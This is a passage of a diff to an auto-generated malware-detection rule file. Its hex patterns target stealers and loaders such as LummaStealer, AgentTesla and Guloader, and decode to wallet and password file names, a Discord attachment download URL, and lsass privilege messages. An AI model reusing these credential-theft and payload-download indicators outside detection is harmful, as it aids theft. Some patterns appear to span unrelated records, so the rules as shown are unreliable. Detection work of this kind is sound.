((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_54_2 & 1)*8518+(#a_d8_3 & 1)*4095) >=21 } -rule _InfrastructureShared_11922{ +rule _InfrastructureShared_12704{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 46 21 4d 54 42 00 0f 00 35 03 8d 48 ff 0f af c8 f6 c1 01 0f 94 c0 83 fa 09 0f 9f c3 30 c3 b8 dd 24 48 28 bb 43 d7 a2 b2 75 90 01 01 b8 43 d7 a2 b2 } //21539 + $a_0f_1 = {4e c3 f6 c1 01 0f 44 c3 90 } //-1405 + condition: + ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*-1405) >=30 + +} +rule _InfrastructureShared_12705{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffca 00 ffffffca 00 08 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4f 21 4d 54 42 00 64 00 0a 81 01 77 61 6c 6c 65 74 2e 64 61 74 64 00 0b 81 01 6c 6f 67 69 6e 73 2e 6a 73 6f 6e 64 00 0e 81 01 } //21539 + $a_6b_1 = {65 73 2e 73 71 6c 69 74 65 64 00 0d 81 01 50 61 73 73 77 6f 72 64 73 2e 74 78 74 64 00 0a 81 01 53 63 72 65 65 6e 2e 6a 70 67 01 00 09 81 01 55 73 65 72 20 44 61 74 61 01 00 07 81 01 77 61 6c 6c 65 74 73 18 fc 0a 81 01 6a 76 31 36 50 54 2e 65 78 65 00 00 78 ac 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //28515 + $a_67_2 = {6e 74 54 65 73 6c 61 2e 52 56 44 21 4d 54 42 00 01 00 7b 03 00 00 0a 5d 13 06 09 08 6f 90 01 01 00 00 0a 5b 13 07 08 72 90 01 04 18 18 8d 90 01 01 00 00 01 25 16 11 06 8c 90 01 01 00 00 01 a2 25 } //12108 + $a_8c_3 = {01 01 00 00 01 a2 28 } //4375 + $a_00_4 = {00 } //400 + $a_01_5 = {01 00 00 01 13 08 12 08 28 90 01 01 00 00 0a 13 09 07 11 09 6f 90 01 01 00 00 0a 90 02 01 09 17 58 0d 90 02 01 09 08 6f 90 01 01 00 00 0a 08 6f 90 01 01 00 00 0a 5a 90 00 00 00 78 ac 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 37 21 4d 54 42 00 01 00 7d 02 85 ff 0f 84 90 01 04 90 02 45 89 7d 90 01 01 90 02 35 8b 5d 90 01 01 90 02 40 8b fb 90 02 40 c1 e7 90 01 01 } //-23286 + $a_83_6 = {90 01 01 90 02 40 89 7d 90 1b 04 90 02 3a 8b fb 90 02 40 c1 ef 90 01 01 90 02 40 8b 5d 90 1b 04 90 02 40 0b df 90 02 40 8b 7d 90 1b 02 90 02 55 33 df 90 02 30 89 5d 90 1b 04 90 02 2a ff 45 90 01 01 90 02 4a 90 18 8b 5d 90 } //656 + $a_02_7 = {35 0f b6 3b 90 00 00 00 78 ac 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 72 69 63 6b 62 6f 74 2e 53 41 21 4d 54 42 00 01 00 7d 03 ff c9 56 85 c9 75 51 6a 90 01 01 48 8b ca 58 48 85 c9 0f 90 01 02 00 00 00 4c 8d 05 90 01 02 00 00 41 b9 0c 00 00 00 4d 03 c8 4c 8d 15 90 01 04 4c 8d 1d 90 01 04 49 8b c8 8b 31 41 33 33 49 83 c3 04 48 83 c1 04 89 32 48 83 c2 04 49 3b c9 49 0f 43 c8 4d 3b da 72 } //6171 + condition: + ((#a_4c_0 & 1)*21539+(#a_6b_1 & 1)*28515+(#a_67_2 & 1)*12108+(#a_8c_3 & 1)*4375+(#a_00_4 & 1)*400+(#a_01_5 & 1)*-23286+(#a_83_6 & 1)*656+(#a_02_7 & 1)*6171) >=202 + +} +rule _InfrastructureShared_12706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132074,7 +140906,7 @@ rule _InfrastructureShared_11922{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11923{ +rule _InfrastructureShared_12707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132084,7 +140916,7 @@ rule _InfrastructureShared_11923{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11924{ +rule _InfrastructureShared_12708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132094,7 +140926,7 @@ rule _InfrastructureShared_11924{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11925{ +rule _InfrastructureShared_12709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132104,7 +140936,7 @@ rule _InfrastructureShared_11925{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11926{ +rule _InfrastructureShared_12710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132114,7 +140946,7 @@ rule _InfrastructureShared_11926{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11927{ +rule _InfrastructureShared_12711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132124,7 +140956,7 @@ rule _InfrastructureShared_11927{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11928{ +rule _InfrastructureShared_12712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132134,7 +140966,7 @@ rule _InfrastructureShared_11928{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11929{ +rule _InfrastructureShared_12713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132144,7 +140976,7 @@ rule _InfrastructureShared_11929{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11930{ +rule _InfrastructureShared_12714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132154,7 +140986,7 @@ rule _InfrastructureShared_11930{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11931{ +rule _InfrastructureShared_12715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132164,7 +140996,7 @@ rule _InfrastructureShared_11931{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11932{ +rule _InfrastructureShared_12716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132174,7 +141006,7 @@ rule _InfrastructureShared_11932{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11933{ +rule _InfrastructureShared_12717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132184,7 +141016,7 @@ rule _InfrastructureShared_11933{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11934{ +rule _InfrastructureShared_12718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132194,7 +141026,7 @@ rule _InfrastructureShared_11934{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11935{ +rule _InfrastructureShared_12719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132204,7 +141036,7 @@ rule _InfrastructureShared_11935{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11936{ +rule _InfrastructureShared_12720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132214,7 +141046,7 @@ rule _InfrastructureShared_11936{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11937{ +rule _InfrastructureShared_12721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132224,7 +141056,7 @@ rule _InfrastructureShared_11937{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11938{ +rule _InfrastructureShared_12722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132234,7 +141066,7 @@ rule _InfrastructureShared_11938{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11939{ +rule _InfrastructureShared_12723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -132244,7 +141076,7 @@ rule _InfrastructureShared_11939{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11940{ +rule _InfrastructureShared_12724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -132254,7 +141086,7 @@ rule _InfrastructureShared_11940{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11941{ +rule _InfrastructureShared_12725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -132264,7 +141096,7 @@ rule _InfrastructureShared_11941{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11942{ +rule _InfrastructureShared_12726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132275,7 +141107,7 @@ rule _InfrastructureShared_11942{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*19272) >=2 } -rule _InfrastructureShared_11943{ +rule _InfrastructureShared_12727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132286,7 +141118,7 @@ rule _InfrastructureShared_11943{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*-28668) >=2 } -rule _InfrastructureShared_11944{ +rule _InfrastructureShared_12728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132296,7 +141128,7 @@ rule _InfrastructureShared_11944{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11945{ +rule _InfrastructureShared_12729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132307,7 +141139,7 @@ rule _InfrastructureShared_11945{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*27022) >=2 } -rule _InfrastructureShared_11946{ +rule _InfrastructureShared_12730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132318,7 +141150,7 @@ rule _InfrastructureShared_11946{ ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*24979) >=2 } -rule _InfrastructureShared_11947{ +rule _InfrastructureShared_12731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132328,7 +141160,7 @@ rule _InfrastructureShared_11947{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11948{ +rule _InfrastructureShared_12732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132339,7 +141171,7 @@ rule _InfrastructureShared_11948{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*23913) >=2 } -rule _InfrastructureShared_11949{ +rule _InfrastructureShared_12733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132350,7 +141182,7 @@ rule _InfrastructureShared_11949{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*1808) >=2 } -rule _InfrastructureShared_11950{ +rule _InfrastructureShared_12734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132361,7 +141193,7 @@ rule _InfrastructureShared_11950{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28265) >=2 } -rule _InfrastructureShared_11951{ +rule _InfrastructureShared_12735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -132372,7 +141204,7 @@ rule _InfrastructureShared_11951{ ((#a_4c_0 & 1)*21539+(#a_a4_1 & 1)*15747) >=2 } -rule _InfrastructureShared_11952{ +rule _InfrastructureShared_12736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -132384,7 +141216,7 @@ rule _InfrastructureShared_11952{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25959+(#a_74_2 & 1)*18177) >=2 } -rule _InfrastructureShared_11953{ +rule _InfrastructureShared_12737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -132396,7 +141228,7 @@ rule _InfrastructureShared_11953{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25961+(#a_2e_2 & 1)*27763) >=2 } -rule _InfrastructureShared_11954{ +rule _InfrastructureShared_12738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -132408,7 +141240,7 @@ rule _InfrastructureShared_11954{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9984+(#a_90_2 & 1)*0) >=2 } -rule _InfrastructureShared_11955{ +rule _InfrastructureShared_12739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -132420,7 +141252,7 @@ rule _InfrastructureShared_11955{ ((#a_54_0 & 1)*18467+(#a_f3_1 & 1)*-10190+(#a_39_2 & 1)*-32739) >=2 } -rule _InfrastructureShared_11956{ +rule _InfrastructureShared_12740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -132432,7 +141264,7 @@ rule _InfrastructureShared_11956{ ((#a_54_0 & 1)*18467+(#a_4d_2 & 1)*-21517+(#a_80_3 & 1)*-32693) >=2 } -rule _InfrastructureShared_11957{ +rule _InfrastructureShared_12741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -132446,7 +141278,7 @@ rule _InfrastructureShared_11957{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_3a_2 & 1)*19521+(#a_65_3 & 1)*25442+(#a_48_4 & 1)*21061) >=2 } -rule _InfrastructureShared_11958{ +rule _InfrastructureShared_12742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -132458,7 +141290,7 @@ rule _InfrastructureShared_11958{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*16961+(#a_5f_2 & 1)*23504) >=3 } -rule _InfrastructureShared_11959{ +rule _InfrastructureShared_12743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -132470,7 +141302,7 @@ rule _InfrastructureShared_11959{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*20224+(#a_04_2 & 1)*-31992) >=3 } -rule _InfrastructureShared_11960{ +rule _InfrastructureShared_12744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -132482,7 +141314,7 @@ rule _InfrastructureShared_11960{ ((#a_63_0 & 1)*17699+(#a_00_1 & 1)*100+(#a_6a_2 & 1)*20584) >=3 } -rule _InfrastructureShared_11961{ +rule _InfrastructureShared_12745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -132495,7 +141327,7 @@ rule _InfrastructureShared_11961{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_44_2 & 1)*-8031+(#a_36_3 & 1)*9473) >=3 } -rule _InfrastructureShared_11962{ +rule _InfrastructureShared_12746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -132508,7 +141340,7 @@ rule _InfrastructureShared_11962{ ((#a_77_0 & 1)*19491+(#a_75_1 & 1)*29541+(#a_6a_2 & 1)*29268+(#a_72_3 & 1)*15158) >=3 } -rule _InfrastructureShared_11963{ +rule _InfrastructureShared_12747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -132516,25 +141348,38 @@ rule _InfrastructureShared_11963{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 65 70 76 6f 69 63 65 2e 43 21 64 68 61 00 02 00 0e 01 43 3a 5c 77 6f 72 6b 73 5c 70 72 6a 73 5c 01 00 08 01 5c 63 6c 74 2e 70 64 62 01 00 0a 01 70 72 65 74 74 79 67 69 72 6c } //16675 $a_01_1 = {55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 58 31 31 3b 20 4c 69 6e 75 78 20 69 36 38 36 3b 20 72 76 3a 33 33 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 33 33 2e 30 } //1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0 $a_ac_2 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 37 30 38 21 4d 54 42 00 01 00 4e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 } //0 - $a_00_3 = {74 00 73 00 2f 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 01 53 6c 65 65 70 00 00 78 ac 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 4f 31 32 33 21 4d 54 42 00 01 00 29 81 01 61 6d 61 74 72 69 73 6d 65 6e 73 20 } //101 + $a_00_3 = {74 00 73 00 2f 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 01 53 6c 65 65 70 00 00 78 ac 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4d 30 31 21 4d 54 42 00 01 00 20 81 01 76 65 74 74 75 72 69 6e 6f 20 63 6f 6e 74 } //101 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_ac_2 & 1)*0+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_11964{ +rule _InfrastructureShared_12748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 31 37 30 38 21 4d 54 42 00 01 00 4e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 } //18467 $a_00_1 = {6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 01 53 6c 65 65 70 00 00 78 ac 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //46 - $a_65_2 = {2e 4b 50 50 4f 31 32 33 21 4d 54 42 00 01 00 29 81 01 61 6d 61 74 72 69 73 6d 65 6e 73 20 61 66 73 74 61 61 65 6c 73 65 73 76 65 64 65 72 6c 61 67 65 6e 65 20 73 70 61 64 65 73 01 00 17 81 01 75 64 72 6a 65 20 73 6b 72 64 64 65 72 73 74 69 6c 6c 69 6e 67 65 72 01 00 19 81 01 70 69 65 64 72 61 20 66 } //24943 - $a_69_3 = {67 20 64 69 73 70 65 6e 73 65 72 73 01 00 15 81 01 70 65 64 61 6e 74 69 63 20 62 69 73 70 65 76 69 65 6c 73 65 73 00 00 78 ac 00 00 04 00 04 00 06 00 21 23 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 6c 6f 66 65 6c 64 73 43 61 74 2e 41 21 4c 6f 77 66 69 00 01 00 16 03 64 a1 30 00 00 00 90 02 20 8b 40 2c 90 02 20 05 e0 00 00 } //30060 + $a_65_2 = {2e 47 4c 4d 30 31 21 4d 54 42 00 01 00 20 81 01 76 65 74 74 75 72 69 6e 6f 20 63 6f 6e 74 72 61 76 65 6e 65 64 20 77 6f 72 74 68 69 6e 65 73 73 01 00 14 81 01 75 6e 6d 61 6e 75 66 61 63 74 75 72 61 62 6c 65 2e 65 78 65 01 00 1b 81 01 63 79 63 6c 61 72 74 68 72 6f 64 69 61 6c 20 61 6e 74 69 73 65 70 } //24943 + $a_65_3 = {01 00 21 81 01 76 65 6c 6b 6f 6d 73 74 73 6b 61 61 6c 65 72 6e 65 20 70 68 6f 74 6f 69 6e 68 69 62 69 74 69 6f 6e 00 00 78 ac 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 4f 31 32 33 21 4d 54 42 00 01 00 29 81 01 61 6d 61 74 72 69 73 6d 65 6e 73 20 61 66 73 74 61 61 65 6c 73 65 73 76 65 64 } //26996 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_65_2 & 1)*24943+(#a_69_3 & 1)*30060) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_65_2 & 1)*24943+(#a_65_3 & 1)*26996) >=4 } -rule _InfrastructureShared_11965{ +rule _InfrastructureShared_12749{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4d 30 31 21 4d 54 42 00 01 00 20 81 01 76 65 74 74 75 72 69 6e 6f 20 63 6f 6e 74 72 61 76 65 6e 65 64 20 77 6f 72 74 68 69 6e 65 73 73 01 00 14 81 01 75 6e 6d 61 6e 75 66 61 63 74 75 72 61 62 6c } //18467 + $a_78_1 = {01 00 1b 81 01 63 79 63 6c 61 72 74 68 72 6f 64 69 61 6c 20 61 6e 74 69 73 65 70 74 69 73 65 73 01 00 21 81 01 76 65 6c 6b 6f 6d 73 74 73 6b 61 61 6c 65 72 6e 65 20 70 68 6f 74 6f 69 6e 68 69 62 69 74 69 6f 6e 00 00 78 ac 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //11877 + $a_4b_2 = {50 4f 31 32 33 21 4d 54 42 00 01 00 29 81 01 61 6d 61 74 72 69 73 6d 65 6e 73 20 61 66 73 74 61 61 65 6c 73 65 73 76 65 64 65 72 6c 61 67 } //29285 + $a_20_3 = {70 61 64 65 73 01 00 17 81 01 75 64 72 6a 65 20 73 6b 72 64 64 65 72 73 74 69 6c 6c 69 6e 67 65 72 01 00 19 81 01 70 69 65 64 72 61 20 66 6c 75 6d 69 6e 67 20 64 69 73 70 65 6e 73 65 72 73 01 00 15 81 01 70 65 64 61 6e 74 69 63 20 62 69 73 70 65 76 69 65 6c 73 65 73 00 00 78 ac 00 00 04 00 04 00 06 00 } //28261 + condition: + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11877+(#a_4b_2 & 1)*29285+(#a_20_3 & 1)*28261) >=4 + +} +rule _InfrastructureShared_12750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -132546,7 +141391,7 @@ rule _InfrastructureShared_11965{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*8293+(#a_64_3 & 1)*5632) >=4 } -rule _InfrastructureShared_11966{ +rule _InfrastructureShared_12751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -132560,7 +141405,7 @@ rule _InfrastructureShared_11966{ ((#a_70_0 & 1)*17699+(#a_74_2 & 1)*21248+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_11967{ +rule _InfrastructureShared_12752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 11 00 21 " @@ -132576,14 +141421,15 @@ rule _InfrastructureShared_11967{ $a_72_8 = {61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 18 01 4d 44 35 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 ac 00 00 05 00 05 } //271 $a_3a_10 = {72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 41 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 11 01 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 4e 61 6d 65 01 00 09 01 53 61 6e 64 61 6c 6c } //19521 $a_00_11 = {28 } //25701 ( - $a_00_13 = {3a 00 2f 00 2f 00 69 00 63 00 61 00 6e 00 68 00 61 00 7a 00 69 00 70 00 2e 00 63 00 6f 00 6d 00 01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //116 - $a_41_14 = {4d 47 34 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 } //24940 - $a_6f_16 = {70 75 74 65 48 61 73 68 01 00 2d 01 4e 00 35 00 34 00 56 00 48 00 51 00 48 00 37 00 38 00 47 00 00 19 41 00 35 00 47 00 48 00 41 00 32 00 38 00 56 00 50 00 45 00 47 00 41 01 00 0f 81 01 43 72 65 61 74 } //385 + $a_00_13 = {3a 00 2f 00 2f 00 69 00 63 00 61 00 6e 00 68 00 61 00 7a 00 69 00 70 00 2e 00 63 00 6f 00 6d 00 01 00 13 01 52 65 70 6c 79 41 63 74 69 6f 6e 30 68 74 74 70 3a 2f 2f 01 00 0e 01 41 63 74 69 6f 6e 28 68 74 74 70 3a 2f 2f 00 00 78 ac 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 50 57 53 3a 57 69 6e 33 32 2f 54 6f 74 65 72 6e 6f 2e } //116 + $a_00_14 = {20 } //65 + $a_5d_15 = {47 6f 74 20 53 65 44 65 62 75 67 50 72 6f 67 72 61 6d 20 50 72 69 76 69 6c 65 67 65 01 00 16 01 5b 2b 5d 20 47 6f 74 20 6c 73 61 } //23297 + $a_65_16 = {65 20 50 49 44 21 01 00 12 01 5b 2a 5d 20 57 72 69 74 69 6e 67 20 4d 65 6d 6f 72 79 01 00 1a 01 5b 2a 5d 20 43 72 65 61 74 69 6e 67 20 52 } //29555 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-25290+(#a_91_2 & 1)*23553+(#a_6f_3 & 1)*25964+(#a_62_4 & 1)*12644+(#a_63_5 & 1)*17785+(#a_42_6 & 1)*29295+(#a_00_7 & 1)*21581+(#a_72_8 & 1)*271+(#a_3a_10 & 1)*19521+(#a_00_11 & 1)*25701+(#a_00_13 & 1)*116+(#a_41_14 & 1)*24940+(#a_6f_16 & 1)*385) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-25290+(#a_91_2 & 1)*23553+(#a_6f_3 & 1)*25964+(#a_62_4 & 1)*12644+(#a_63_5 & 1)*17785+(#a_42_6 & 1)*29295+(#a_00_7 & 1)*21581+(#a_72_8 & 1)*271+(#a_3a_10 & 